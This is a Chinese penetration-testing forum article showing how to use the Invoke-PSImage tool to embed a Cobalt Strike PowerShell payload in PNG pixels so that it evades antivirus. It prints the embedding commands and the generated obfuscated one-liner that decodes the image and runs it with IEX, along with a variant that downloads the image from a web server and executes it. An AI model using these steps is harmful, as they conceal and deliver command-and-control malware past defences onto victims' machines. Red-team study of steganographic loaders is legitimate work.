问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
利用Invoke-PSImage进行Powershell Bypass上线
渗透测试
安全工具
Invoke-PSImage可以在PNG文件的像素中嵌入Powershell脚本,并生成一行命令用于我们来执行.
### 前言 Invoke-PSImage可以在PNG文件的像素中嵌入Powershell脚本,并生成一行命令用于我们来执行. Invoke-PSImage可以支持大多数图像类型作为输入,但输出必须是PNG,由于图像的每个像素都要用于保存一个字节的脚本,因此至少需要一个与脚本中的字节相同像素的图像 项目地址:<https://github.com/peewpw/Invoke-PSImage> #### 相关参数 -S cript:powershell脚本路径 -Image:需要嵌入脚本的图像路径 -Out:输出PNG文件的路径 -Web:输出使用Net.WebClient从web中读取图像的命令 #### 准备 关掉杀毒软件(否则生成文件时会失败) 下载[Invoke-PSImage](https://github.com/peewpw/Invoke-PSImage) 从Cobalt Strike中生成一个powershell脚本 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-99a8399de85f8dcc7dd2cee4933234be57930e81.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-99a8399de85f8dcc7dd2cee4933234be57930e81.png) 准备一张像素大于powershell脚本字节大小的图片 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-49b9a0f008cd32f8e2ad1a40eee909c5dca0e197.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-49b9a0f008cd32f8e2ad1a40eee909c5dca0e197.jpg) [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0d3291280924b03725a4edc9c5e2ae74f82b25c2.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0d3291280924b03725a4edc9c5e2ae74f82b25c2.png) ### 开始试验 **1. 创建一个包含"payload.ps1"的脚本文件,并输出命令从本地获取图片执行** ```php Import-Module .\Invoke-PSImage.ps1 Invoke-PSImage -S cript .\payload.ps1 -Image .\shell.jpg -Out .\shell.png ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b4b2d489143212e88208353225defc731b578ef1.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-b4b2d489143212e88208353225defc731b578ef1.png) 保存好生成的执行命令 ```php sal a New-O bject;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap("E:\Desktop\shell.png");$o=a Byte[] 4320;(0..3)|%{foreach($x in(0..1079)){$p=$g.GetPixel($x,$_);$o[$_*1080+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G-band15))}};$g.Dispose();IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554])) ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f4548f262ae02b2c58356566577234594dadc712.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-f4548f262ae02b2c58356566577234594dadc712.png) 把生成的文件放到VT里面查杀下 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0f05d6bcb6b88be9fb06eb70adb2e1104d0b50e1.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-0f05d6bcb6b88be9fb06eb70adb2e1104d0b50e1.png) 将刚刚生成的命令带入到powershell中执行(确定好命令中的图片路径是否正确) [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-54ac720c9b0191583fdd2e724675049a47f76b89.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-54ac720c9b0191583fdd2e724675049a47f76b89.png) **2.创建包含"Invoke-PSImage.ps1"的脚本图像,并输出命令从web获取图像执行** ```php Import-Module .\Invoke-PSImage.ps1 Invoke-PSImage -S cript .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web ``` 将生成好的文件放入到web服务器当中 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-27b82d8b8f53c517930de4643f41699fc7c470f0.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-27b82d8b8f53c517930de4643f41699fc7c470f0.png) 将生成的命令中的`http://example.com/shell.png`替换为图片路径的url,带入powershell中执行 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-aef37416983396f392d4ade0183199efe470bb09.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-aef37416983396f392d4ade0183199efe470bb09.png) #### 总结 Invoke-PSImage可以将powershell脚本嵌入到PNG文件像素中, 一些工具[powershell版](https://github.com/samratashok/nishang/tree/master/Gather)配合Invoke-PSImage能让我们更加方便的进行渗透测试
发表于 2021-08-20 14:11:24
阅读 ( 6575 )
分类:
内网渗透
4 推荐
收藏
0 条评论
请先
登录
后评论
miagz
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!